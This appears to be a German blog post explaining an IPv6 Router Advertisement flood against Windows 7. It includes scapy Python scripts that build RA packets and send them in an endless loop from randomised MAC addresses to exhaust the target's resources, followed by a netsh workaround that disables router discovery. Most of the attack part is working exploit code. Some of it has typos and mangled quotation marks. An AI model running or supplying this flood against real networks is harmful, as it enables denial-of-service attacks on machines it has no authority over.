Das Prinzip ist sehr trivial, es werden IPv6 Router Advertisements(RA) in ein Netz geschickt.
Da RA Pakete Broad bzw bei IPv6 Multicasting Pakete sind wird also jeder Rechner der dieses Paket empfängt es verarbeiten.
Da setzen wir also an.
Also rein in die Konsole und scapy gestartet.
Wir erstellen ein, jetzt folgen ein paar Definitionen an
[php]
#Layer, Protokoll sowie das der Pakettyp wird angegeben.
a = IPv6()
a.dst = "ff02::1"
#ICMPv6 Router Advertisement festlegen
b = ICMPv6ND_RA()
#Hier greift ihr euch die HwAddrese(MAC) des jeweiligen Interfaces,
#in meinem Fall eth1, sollte natürlich angepasst werden und legt sie fest.
#Der die Methode getMac ist eigentlich für ein eigenes Script gedacht
#man kann die Adresse natürlich auch per Hand definieren.
#Dazu einfach c.lladdr = <MAC-Adresse hier einfügen>
def getMac(ifname):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack(‚256s‘, ifname[:15]))
return “.join([‚%02x:‘ % ord(char) for char in info[18:24]])[:-1]
c = ICMPv6NDOptSrcLLAddr()
c.lladdr = getMac(‚eth1‘)
#MTU sollte 1280 betragen
d = ICMPv6NDOptMTU()
d.show()
#Den IPv6 Prefix festlegen und seine länge festlegen
e = ICMPv6NDOptPrefixInfo()
e.prefixlen = 64
e.prefix = "cc5f::"
#Und das Paket abschicken
send(a/b/c/d/e)
#Thx for the idea to http://samsclass.info
[/php]
Da Windows 7 aber sehr viele Ressource für diesen Prozess verschwendet und es kein Limit gibt wieviele Router angenommen werden, wäre es möglich ein autopwn Script zu schreiben.
Das könnte dann etwa so aussehen:
[php]
#! /usr/bin/env python
from scapy.all import sendp,Ether
from scapy.layers.inet6 import IPv6, ICMPv6ND_RA, ICMPv6NDOptPrefixInfo,ICMPv6NDOptSrcLLAddr
from random import randint
def randohwid():
return ‚:‘.join(map(lambda x: "%02x" % x, [ 0x00, 0x16, 0x3e,randint(0x00, 0x7f),randint(0x00, 0xff),randint(0x00, 0xff) ]))
paket = Ether()/IPv6()/ICMPv6ND_RA()/ICMPv6NDOptPrefixInfo(prefix=’2610:8:6800:1::7′,prefixlen=64)/ICMPv6NDOptSrcLLAddr(lladdr=randomhwid())
sendp(paket,loop=1,inter=3)
[/php]
Und wie schütze ich meinen Windows 7 Rechner?
Bis Microsoft ein Fix bringt nur mit einem Workaround – Router Discovery per netsh abschalten:
Ab in die administraive Konsole und diesen Befehl eingeben:
[php]
netsh interface ipv6 set interface “LAN-Verbindung” routerdiscovery=disabled
[/php]
Eine dritte Möglichkeit zeigt Sempervideo in einem Beitrag.
[yframe url=’http://www.youtube.com/watch?v=qAuhRwCFHOs‘]
Quelle : http://www.hack-fleisch.net/?p=932